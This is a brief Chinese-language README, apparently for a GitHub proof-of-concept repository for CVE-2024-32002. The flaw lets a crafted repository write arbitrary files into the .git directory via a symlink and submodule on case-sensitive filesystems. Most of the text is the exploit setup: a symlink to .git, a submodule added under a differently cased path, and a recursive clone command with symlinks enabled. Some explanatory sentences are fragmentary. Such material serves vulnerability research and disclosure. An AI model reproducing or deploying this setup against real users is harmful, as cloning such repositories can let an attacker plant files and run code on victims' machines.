
一个针对 CVE-2024-32002 的 POC,演示了对 .git 目录的任意写入。
请参阅相关的子模块仓库:cve-2024-32002-submodule-aw
.git 目录的符号链接,其名称是任意的。.gitmodules 文件。此仓库是在 Linux(具体来说是 WSL2)上创建的。这一点很重要,恶意仓库只能在大小写敏感的文件系统上创建。
ln -s .git submodule
注:
.git 文件夹,因为这是我们想要写入文件的目标位置。git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
注:
git --version
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git